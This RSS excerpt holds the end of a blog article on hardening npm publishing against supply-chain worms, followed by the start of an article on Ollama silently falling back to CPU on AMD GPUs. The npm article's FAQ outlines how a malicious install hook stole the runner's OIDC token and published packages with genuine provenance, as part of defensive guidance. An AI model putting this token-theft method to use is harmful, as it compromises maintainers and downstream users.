&lt;p&gt;In pnpm, inside &lt;code&gt;pnpm-workspace.yaml&lt;/code&gt;, with an exclusion list for whatever you publish yourself:&lt;/p&gt;
&lt;pre class=&quot;language-yaml&quot; data-language=&quot;yaml&quot;&gt;&lt;code class=&quot;language-yaml&quot;&gt;&lt;span class=&quot;token key atrule&quot;&gt;minimumReleaseAge&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;10080&lt;/span&gt;          &lt;span class=&quot;token comment&quot;&gt;# 7 days in minutes&lt;/span&gt;
&lt;span class=&quot;token key atrule&quot;&gt;minimumReleaseAgeExclude&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&amp;#39;@my-company/*&amp;#39;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Two practical warnings. First: &lt;strong&gt;the cooldown is enforced at install time, not at update-suggestion time&lt;/strong&gt;, so your dependency bot can open the PR and the &lt;code&gt;npm ci&lt;/code&gt; fail afterwards; set the same threshold in both places. Second: &lt;strong&gt;Bun counts seconds, not minutes&lt;/strong&gt;: seven days is &lt;code&gt;604800&lt;/code&gt;, and anyone who copies pnpm’s &lt;code&gt;10080&lt;/code&gt; ends up with a cooldown of under three hours without noticing. Yarn does accept durations like &lt;code&gt;7d&lt;/code&gt;, and its exemption list is not a &lt;code&gt;*Exclude&lt;/code&gt; key but &lt;code&gt;npmPreapprovedPackages&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;If you want to see what it would have held back in your project before switching it on, &lt;a href=&quot;https://ortamarco.me/en/portfolio/dep-cooldown/&quot;&gt;dep-cooldown&lt;/a&gt;, an open-source tool of mine, reads your npm, pnpm, Yarn or Bun lockfile and gives you the age of every resolved version, including on the day you installed (&lt;code&gt;--as-of&lt;/code&gt;). And &lt;code&gt;npx dep-cooldown --config all&lt;/code&gt; prints the key for all four managers with the unit already converted.&lt;/p&gt;
&lt;h3 id=&quot;2-separate-the-runner-that-installs-from-the-runner-that-publishes&quot;&gt;2. Separate the runner that installs from the runner that publishes&lt;/h3&gt;
&lt;p&gt;This is the one that would have cut the TanStack attack dead.&lt;/p&gt;
&lt;p&gt;The structural problem is that in most workflows &lt;strong&gt;the same job runs &lt;code&gt;npm ci&lt;/code&gt; and &lt;code&gt;npm publish&lt;/code&gt;&lt;/strong&gt;. That means third-party code executing during install lives in the same process that holds — or can request — the OIDC token.&lt;/p&gt;
&lt;p&gt;The right shape is to split it, with &lt;code&gt;id-token: write&lt;/code&gt; existing &lt;strong&gt;only in the publishing job&lt;/strong&gt;, which installs nothing from third parties:&lt;/p&gt;
&lt;pre class=&quot;language-yaml&quot; data-language=&quot;yaml&quot;&gt;&lt;code class=&quot;language-yaml&quot;&gt;&lt;span class=&quot;token key atrule&quot;&gt;jobs&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;token key atrule&quot;&gt;build&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;token key atrule&quot;&gt;runs-on&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; ubuntu&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt;latest
    &lt;span class=&quot;token key atrule&quot;&gt;permissions&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
      &lt;span class=&quot;token key atrule&quot;&gt;contents&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; read          &lt;span class=&quot;token comment&quot;&gt;# no id-token here&lt;/span&gt;
    &lt;span class=&quot;token key atrule&quot;&gt;steps&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
      &lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;token key atrule&quot;&gt;uses&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; actions/checkout@v5
      &lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;token key atrule&quot;&gt;run&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; npm ci &lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt;ignore&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt;scripts
      &lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;token key atrule&quot;&gt;run&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; npm run build
      &lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;token key atrule&quot;&gt;run&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; npm pack
      &lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;token key atrule&quot;&gt;uses&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; actions/upload&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt;artifact@v4
        &lt;span class=&quot;token key atrule&quot;&gt;with&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token key atrule&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; tarball&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token key atrule&quot;&gt;path&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&amp;#39;*.tgz&amp;#39;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;

  &lt;span class=&quot;token key atrule&quot;&gt;publish&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;token key atrule&quot;&gt;needs&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; build
    &lt;span class=&quot;token key atrule&quot;&gt;runs-on&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; ubuntu&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt;latest
    &lt;span class=&quot;token key atrule&quot;&gt;permissions&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
      &lt;span class=&quot;token key atrule&quot;&gt;contents&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; read
      &lt;span class=&quot;token key atrule&quot;&gt;id-token&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; write         &lt;span class=&quot;token comment&quot;&gt;# the permission lives only here&lt;/span&gt;
    &lt;span class=&quot;token key atrule&quot;&gt;steps&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
      &lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;token key atrule&quot;&gt;uses&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; actions/download&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt;artifact@v4
        &lt;span class=&quot;token key atrule&quot;&gt;with&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token key atrule&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; tarball &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
      &lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;token key atrule&quot;&gt;run&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; npm publish &lt;span class=&quot;token important&quot;&gt;*.tgz&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt;provenance
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Note the &lt;code&gt;--ignore-scripts&lt;/code&gt; on the install step. Lifecycle hooks are steps 1 and 2 of the attack; if your build doesn’t need them — and many don’t — turning them off in CI is free. If some dependency genuinely does need them, the exception list is shorter than you think and worth writing by hand.&lt;/p&gt;
&lt;h3 id=&quot;3-treat-the-ci-cache-as-untrusted-input&quot;&gt;3. Treat the CI cache as untrusted input&lt;/h3&gt;
&lt;p&gt;The initial vector of the May wave was &lt;strong&gt;cache poisoning&lt;/strong&gt;. It’s an unintuitive vector because the cache looks like your own infrastructure, and it isn’t: in GitHub Actions, &lt;strong&gt;a lower-privileged branch can write into a cache that the release branch later reads&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;The minimum:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Never use &lt;code&gt;pull_request_target&lt;/code&gt; without an explicit trust boundary.&lt;/strong&gt; That trigger runs with the base repository’s secrets and the PR’s code in front of it; it’s the foot in the door.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Segregate cache keys by branch or by purpose.&lt;/strong&gt; The release workflow should not share a key with the PR workflow.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;In the publishing job, don’t restore a cache at all.&lt;/strong&gt; That job should be as boring as possible: download an artifact, upload it. Nothing else.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;4-stop-reading-the-provenance-badge-as-a-verdict&quot;&gt;4. Stop reading the provenance badge as a verdict&lt;/h3&gt;
&lt;p&gt;Provenance is still useful: it tells you &lt;strong&gt;where&lt;/strong&gt; a package was built. What you can’t do after May is read it as “this is safe.”&lt;/p&gt;
&lt;p&gt;In practice that means dependency review doesn’t get delegated to a badge. What does work:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Pin with &lt;code&gt;package-lock.json&lt;/code&gt; and always use &lt;code&gt;npm ci&lt;/code&gt; in CI&lt;/strong&gt;, never &lt;code&gt;npm install&lt;/code&gt;. That’s the difference between reproducing a tree and resolving a new one every time.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Watch for odd version jumps.&lt;/strong&gt; The worm bumped versions by &lt;strong&gt;exactly +3&lt;/strong&gt;. A patch that skips three numbers with no changelog is a cheap and surprisingly good signal.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Rotate credentials when a wave hits you&lt;/strong&gt;, and rotate everything: npm, GitHub, Actions secrets, AWS, Vault, Kubernetes, SSH. These payloads sweep the entire runner, not just the publish token.&lt;/li&gt;
&lt;/ul&gt;
&lt;aside class=&quot;not-prose my-8 flex flex-wrap items-center gap-4 rounded-2xl border border-neutral-100 bg-white p-5 transition-all duration-200 hover:shadow-[5px_5px_rgba(0,98,90,0.3),10px_10px_rgba(0,98,90,0.2),15px_15px_rgba(0,98,90,0.1)] dark:border-zinc-800 dark:bg-zinc-900/40&quot; style=&quot;border-left:4px solid #3b82f6&quot;&gt; &lt;span class=&quot;grid size-12 shrink-0 place-items-center rounded-xl&quot; style=&quot;background:#3b82f61a;color:#3b82f6&quot;&gt;  &lt;/span&gt; &lt;div class=&quot;flex min-w-48 flex-1 flex-col gap-0.5&quot;&gt; &lt;span class=&quot;text-xs font-semibold tracking-wide text-zinc-500 uppercase dark:text-zinc-400&quot;&gt; Free tool &lt;/span&gt; &lt;span class=&quot;text-lg leading-snug font-bold text-blacktext dark:text-mint-50&quot;&gt; JWT Decoder and Verifier &lt;/span&gt; &lt;span class=&quot;text-sm text-pretty text-zinc-600 dark:text-zinc-400&quot;&gt; Decode the header and payload of a JSON Web Token and verify its HS256/384/512 or RS256/384/512 signature. &lt;/span&gt; &lt;/div&gt; &lt;a href=&quot;https://ortamarco.me/en/tools/jwt-decoder/&quot; data-umami-event=&quot;tool_callout_click&quot; data-umami-event-tool=&quot;decodificador-jwt&quot; class=&quot;shrink-0 rounded-xl max-sm:w-full max-sm:text-center sm:ml-auto bg-mint-600 px-4 py-2 text-sm! font-semibold text-white! no-underline! transition-colors hover:bg-mint-700 hover:text-white!&quot;&gt; Open tool → &lt;/a&gt; &lt;/aside&gt;
&lt;hr/&gt;
&lt;h2 id=&quot;and-what-npm-changed-on-its-own&quot;&gt;And what npm changed on its own&lt;/h2&gt;
&lt;p&gt;Part of the work has already been done for you, and it’s worth knowing because it affects scripts you may still have lying around:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Classic tokens have been revoked since December 9, 2025.&lt;/strong&gt; Not deprecated: revoked. If an old pipeline of yours stopped publishing on that date, this is why.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;npm login&lt;/code&gt; no longer hands you a long-lived token&lt;/strong&gt;, but a &lt;strong&gt;two-hour&lt;/strong&gt; session that expires on its own and enforces 2FA for publishing.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Granular write tokens expire after 90 days at most.&lt;/strong&gt; The eternal token no longer exists, even if you ask for it.&lt;/li&gt;
&lt;li&gt;And since npm CLI 11.10.0 you can &lt;strong&gt;configure OIDC in bulk&lt;/strong&gt; across many packages at once, which was the real friction in migrating an org with fifty packages.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;If you publish packages, migrating to trusted publishing is literally four lines of YAML — the &lt;code&gt;id-token: write&lt;/code&gt; and the &lt;code&gt;--provenance&lt;/code&gt; from the example above — plus setting the trusted publisher on the package page. &lt;strong&gt;Do it.&lt;/strong&gt; But do it knowing you’ve just closed the 2025 vector, not the 2026 one.&lt;/p&gt;
&lt;h2 id=&quot;what-id-do-this-month-in-order&quot;&gt;What I’d do this month, in order&lt;/h2&gt;
&lt;p&gt;If you have half an hour, in decreasing order of return:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Set &lt;code&gt;min-release-age=7&lt;/code&gt;&lt;/strong&gt; (or your manager’s equivalent) in every repository. Five minutes, cuts off most known campaigns.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Swap &lt;code&gt;npm install&lt;/code&gt; for &lt;code&gt;npm ci --ignore-scripts&lt;/code&gt;&lt;/strong&gt; in every CI workflow that doesn’t need hooks.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;If you publish packages, split the workflow&lt;/strong&gt; into build and publish, with &lt;code&gt;id-token: write&lt;/code&gt; only in the second.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Migrate to trusted publishing&lt;/strong&gt; anything still publishing with a granular token.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Audit your &lt;code&gt;pull_request_target&lt;/code&gt; triggers&lt;/strong&gt; and any cache keys shared across branches.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;None of the five is expensive. And here’s the uncomfortable part: &lt;strong&gt;the first one, the most effective of all, requires trusting nobody and understanding no attack.&lt;/strong&gt; Just waiting a week.&lt;/p&gt;
&lt;p&gt;Further reading:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://ortamarco.me/en/blog/secure-vibe-coding-avoid-ai-code-vulnerabilities/&quot;&gt;Secure Vibe Coding: Avoiding Vulnerabilities in AI-Written Code&lt;/a&gt; — the other front through which unreviewed code walks in.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://ortamarco.me/en/blog/complete-docker-guide-2026/&quot;&gt;The Complete Docker Guide for 2026&lt;/a&gt; — isolating the build is half the defence in this article.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://ortamarco.me/en/blog/tools-to-audit-domain-security/&quot;&gt;Tools to Audit Domain Security&lt;/a&gt; — the same review, pointed outward.&lt;/li&gt;
&lt;/ul&gt;
 &lt;section class=&quot;not-prose my-10&quot;&gt; &lt;h2 class=&quot;mb-6 font-fraunces text-3xl font-bold text-blacktext dark:text-white&quot;&gt; Frequently asked questions &lt;/h2&gt; &lt;div class=&quot;flex flex-col gap-3&quot;&gt; &lt;details class=&quot;group rounded-2xl border border-zinc-200 bg-white/60 px-5 py-4 dark:border-zinc-800 dark:bg-zinc-900/40&quot;&gt; &lt;summary class=&quot;flex cursor-pointer list-none items-start justify-between gap-4&quot;&gt; &lt;h3 class=&quot;text-lg font-semibold text-blacktext dark:text-white&quot;&gt; Is trusted publishing with OIDC still worth it after the May 2026 attack? &lt;/h3&gt;  &lt;/summary&gt; &lt;p class=&quot;mt-3 text-lg leading-relaxed text-zinc-700 max-md:text-base dark:text-zinc-300&quot;&gt; Yes, and you should migrate anyway. OIDC completely eliminates the long-lived token, which was the dominant vector through 2025: there is nothing to steal from a laptop, from a CI log, or from a maintainer via phishing. What it does not cover is the process that issues the publish: if the CI runner is compromised during the build, the attacker exchanges the OIDC token exactly as the legitimate workflow would. It is a layer, not a perimeter. &lt;/p&gt; &lt;/details&gt;&lt;details class=&quot;group rounded-2xl border border-zinc-200 bg-white/60 px-5 py-4 dark:border-zinc-800 dark:bg-zinc-900/40&quot;&gt; &lt;summary class=&quot;flex cursor-pointer list-none items-start justify-between gap-4&quot;&gt; &lt;h3 class=&quot;text-lg font-semibold text-blacktext dark:text-white&quot;&gt; How did the Shai-Hulud worm generate valid Sigstore provenance? &lt;/h3&gt;  &lt;/summary&gt; &lt;p class=&quot;mt-3 text-lg leading-relaxed text-zinc-700 max-md:text-base dark:text-zinc-300&quot;&gt; Because it did not forge it: it genuinely generated it. The malicious payload ran inside the project&amp;#39;s own GitHub Actions runner, requested an OIDC token using the workflow&amp;#39;s id-token: write permission, exchanged it for npm publish access, and minted a Sigstore bundle through Fulcio and Rekor from that trusted context. Provenance answers &amp;quot;was this built where it says?&amp;quot;, and the answer was yes. It does not answer &amp;quot;is what was built what the maintainer wrote?&amp;quot;. &lt;/p&gt; &lt;/details&gt;&lt;details class=&quot;group rounded-2xl border border-zinc-200 bg-white/60 px-5 py-4 dark:border-zinc-800 dark:bg-zinc-900/40&quot;&gt; &lt;summary class=&quot;flex cursor-pointer list-none items-start justify-between gap-4&quot;&gt; &lt;h3 class=&quot;text-lg font-semibold text-blacktext dark:text-white&quot;&gt; What is a dependency cooldown and how do I configure it? &lt;/h3&gt;  &lt;/summary&gt; &lt;p class=&quot;mt-3 text-lg leading-relaxed text-zinc-700 max-md:text-base dark:text-zinc-300&quot;&gt; It tells your package manager to ignore versions published less than N days ago, so you never install a malicious version inside its lifetime, which is usually measured in hours. In npm it is min-release-age in .npmrc, measured in days (since CLI 11.10.0, February 2026); in pnpm it is minimumReleaseAge, measured in minutes (since 10.16); in Yarn it is npmMinimalAgeGate in minutes, and in Bun minimumReleaseAge in seconds. A seven-day threshold would have blocked eight of the ten most recent attacks analysed. &lt;/p&gt; &lt;/details&gt;&lt;details class=&quot;group rounded-2xl border border-zinc-200 bg-white/60 px-5 py-4 dark:border-zinc-800 dark:bg-zinc-900/40&quot;&gt; &lt;summary class=&quot;flex cursor-pointer list-none items-start justify-between gap-4&quot;&gt; &lt;h3 class=&quot;text-lg font-semibold text-blacktext dark:text-white&quot;&gt; Why should the install job be separate from the publish job in CI? &lt;/h3&gt;  &lt;/summary&gt; &lt;p class=&quot;mt-3 text-lg leading-relaxed text-zinc-700 max-md:text-base dark:text-zinc-300&quot;&gt; Because if the same job runs npm ci and npm publish, the third-party code that executes during installation lives in the same process that has access to the OIDC token. That is how the TanStack attack got in: a malicious dependency ran in a lifecycle hook, scraped the runner memory and exchanged the token. The fix is for id-token: write to exist only in a publish job that installs nothing from third parties and just uploads an already-built artifact. &lt;/p&gt; &lt;/details&gt;&lt;details class=&quot;group rounded-2xl border border-zinc-200 bg-white/60 px-5 py-4 dark:border-zinc-800 dark:bg-zinc-900/40&quot;&gt; &lt;summary class=&quot;flex cursor-pointer list-none items-start justify-between gap-4&quot;&gt; &lt;h3 class=&quot;text-lg font-semibold text-blacktext dark:text-white&quot;&gt; What share of npm packages already use trusted publishing? &lt;/h3&gt;  &lt;/summary&gt; &lt;p class=&quot;mt-3 text-lg leading-relaxed text-zinc-700 max-md:text-base dark:text-zinc-300&quot;&gt; Not many: of the 51,370 most-downloaded packages, 11,001 use it — 21.4%, covering around 25% of total download volume. In other words, three quarters of what gets installed daily is still published with tokens. Adoption spikes with each incident (372 new packages during the week of Shai-Hulud 2.0, against a baseline of about 35 per week) and falls back once the urgency passes. &lt;/p&gt; &lt;/details&gt;&lt;details class=&quot;group rounded-2xl border border-zinc-200 bg-white/60 px-5 py-4 dark:border-zinc-800 dark:bg-zinc-900/40&quot;&gt; &lt;summary class=&quot;flex cursor-pointer list-none items-start justify-between gap-4&quot;&gt; &lt;h3 class=&quot;text-lg font-semibold text-blacktext dark:text-white&quot;&gt; Do npm classic tokens still work? &lt;/h3&gt;  &lt;/summary&gt; &lt;p class=&quot;mt-3 text-lg leading-relaxed text-zinc-700 max-md:text-base dark:text-zinc-300&quot;&gt; No. npm permanently revoked every classic token on December 9, 2025. Since then npm login issues a two-hour session instead of a long-lived token, and granular write tokens expire after 90 days at most. If an old pipeline stopped publishing around those dates, that is the cause. &lt;/p&gt; &lt;/details&gt; &lt;/div&gt; &lt;/section&gt;</content:encoded><category>Security</category><category>Security</category><category>npm</category><category>Supply Chain</category><category>JavaScript</category><category>DevSecOps</category><category>CI/CD</category><author>Marco Orta</author></item><item><title>Ollama on an AMD GPU: Five Failures That Drop You to CPU Without Telling You</title><link>https://ortamarco.me/en/blog/ollama-amd-gpu-silent-cpu-fallback/</link><guid isPermaLink="true">https://ortamarco.me/en/blog/ollama-amd-gpu-silent-cpu-fallback/</guid><description>Ollama throws no error when it loses the GPU: it keeps answering, eight times slower. The five silent failure modes measured on a Radeon RX 7900 XTX, with the numbers, what does not fix them, and how to verify in thirty seconds.</description><pubDate>Tue, 08 Sep 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;strong&gt;The worst Ollama failure on an AMD GPU isn’t the one that takes your server down. It’s the one that takes nothing down: Ollama starts, responds, answers correctly — and does it on CPU, at 15.89 tokens per second instead of 132.48.&lt;/strong&gt; An 8.3x penalty that shows up in no log unless you go looking, because as far as Ollama is concerned that isn’t an error. It’s a fallback.&lt;/p&gt;
&lt;p&gt;This article is the summary of three weeks measuring a &lt;strong&gt;24 GB Radeon RX 7900 XTX&lt;/strong&gt; on a Ryzen 9 7950X3D, across Windows, native Linux and inside WSL2. It isn’t an install guide — there are plenty of those — but an inventory of &lt;strong&gt;the five ways this setup breaks without saying so&lt;/strong&gt;, with the numbers for each and with what I proved &lt;em&gt;doesn’t&lt;/em&gt; fix them, which is usually the more useful half.&lt;/p&gt;
&lt;p&gt;The tok/s here belong to one specific card in one specific environment. What does transfer verbatim are the failure modes and the method for catching them.&lt;/p&gt;
&lt;h2 id=&quot;first-the-thirty-second-check&quot;&gt;First: the thirty-second check&lt;/h2&gt;
&lt;p&gt;If you take one thing from this article, take this. Ollama &lt;strong&gt;probes the GPU exactly once, at startup, and never looks again&lt;/strong&gt;. So there are two questions to answer every time, and neither is answered by noticing that the chat “feels fast”:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;1. Which backend did the server declare at startup?&lt;/strong&gt; It’s in the startup log (&lt;code&gt;%LOCALAPPDATA%\Ollama\server.log&lt;/code&gt; on Windows, &lt;code&gt;journalctl -u ollama&lt;/code&gt; on Linux):&lt;/p&gt;
&lt;pre class=&quot;language-plaintext&quot; data-language=&quot;plaintext&quot;&gt;&lt;code class=&quot;language-plaintext&quot;&gt;library=Vulkan compute=0.0 name=Vulkan0 description=&amp;quot;AMD Radeon RX 7900 XTX&amp;quot;
libdirs=ollama,vulkan  total=&amp;quot;24.0 GiB&amp;quot; available=&amp;quot;23.2 GiB&amp;quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;What you’re looking for is &lt;code&gt;library=&lt;/code&gt;. If it says &lt;code&gt;cpu&lt;/code&gt;, that’s it: there is no GPU, and nothing else is going to tell you.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;2. Did the model load in full?&lt;/strong&gt; &lt;code&gt;ollama ps&lt;/code&gt; gives you the split:&lt;/p&gt;
&lt;pre class=&quot;language-bash&quot; data-language=&quot;bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;ollama &lt;span class=&quot;token function&quot;&gt;ps&lt;/span&gt;
&lt;span class=&quot;token comment&quot;&gt;# NAME              SIZE     PROCESSOR&lt;/span&gt;
&lt;span class=&quot;token comment&quot;&gt;# gpt-oss:20b       16 GB    100% GPU&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Anything that isn’t &lt;strong&gt;100% GPU&lt;/strong&gt; is a model split between GPU and CPU, and that doesn’t raise an error either.&lt;/p&gt;
&lt;p&gt;One detail that cost me a whole verifier script: &lt;strong&gt;don’t require &lt;code&gt;compute=gfx1100&lt;/code&gt; or a &lt;code&gt;pci_id&lt;/code&gt;&lt;/strong&gt;. The Vulkan backend reports &lt;code&gt;compute=0.0&lt;/code&gt; and &lt;code&gt;pci_id=&amp;quot;&amp;quot;&lt;/code&gt; where ROCm gave real values, so a script checking those fields will fail a perfectly healthy system. Read &lt;code&gt;library=&lt;/code&gt; and &lt;code&gt;libdirs=&lt;/code&gt;, nothing else.&lt;/p&gt;
&lt;hr/&gt;
&lt;h2 id=&quot;failure-1-the-cpus-integrated-gpu-steals-the-job&quot;&gt;Failure 1: the CPU’s integrated GPU steals the job&lt;/h2&gt;
&lt;p&gt;This one is treacherous because the guilty hardware isn’t the hardware you’re looking at.&lt;/p&gt;
&lt;p&gt;If you have a desktop Ryzen with integrated graphics — nearly all of the 7000 series and later do — your machine has &lt;strong&gt;two AMD GPUs&lt;/strong&gt;, not one. And ROCm’s enumeration orders them however it likes:&lt;/p&gt;
&lt;pre class=&quot;language-plaintext&quot; data-language=&quot;plaintext&quot;&gt;&lt;code class=&quot;language-plaintext&quot;&gt;ROCm0: AMD Radeon(TM) Graphics (36694 MiB)   &amp;lt;- the integrated one
ROCm1: AMD Radeon RX 7900 XTX (24560 MiB)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The integrated one comes first and reports 36 GB of VRAM (which it doesn’t have: that’s system RAM). &lt;code&gt;llama.cpp&lt;/code&gt; binaries pick it, load kernels compiled for &lt;code&gt;gfx1100&lt;/code&gt;, and blow up:&lt;/p&gt;
&lt;pre class=&quot;language-plaintext&quot; data-language=&quot;plaintext&quot;&gt;&lt;code class=&quot;language-plaintext&quot;&gt;ggml-cuda.cu:106: ROCm error
ROCm error: device kernel image is invalid
  current device: 1, in function ggml_cuda_kernel_launch
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;What doesn’t fix it&lt;/strong&gt; — and I tried everything before giving up:&lt;/p&gt;

























&lt;div class=&quot;table-responsive&quot;&gt;&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Attempt&lt;/th&gt;&lt;th&gt;Result&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;code&gt;--device ROCm1&lt;/code&gt; (pick it by name)&lt;/td&gt;&lt;td&gt;⛔ same error&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;code&gt;HIP_VISIBLE_DEVICES=0&lt;/code&gt; and &lt;code&gt;=1&lt;/code&gt;&lt;/td&gt;&lt;td&gt;⛔ same error, or “no usable GPU found”&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;code&gt;ROCR_VISIBLE_DEVICES=1&lt;/code&gt; + &lt;code&gt;--device ROCm0&lt;/code&gt;&lt;/td&gt;&lt;td&gt;⛔ same&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;code&gt;ROCBLAS_TENSILE_LIBPATH&lt;/code&gt; to the kernel directory&lt;/td&gt;&lt;td&gt;⛔ same (the &lt;code&gt;gfx1100&lt;/code&gt; kernels &lt;strong&gt;were there&lt;/strong&gt;)&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;
&lt;p&gt;&lt;strong&gt;What does fix it: disabling the integrated GPU in the BIOS.&lt;/strong&gt; With a single device there’s nothing to pick wrong and it starts first try, with no flags:&lt;/p&gt;

























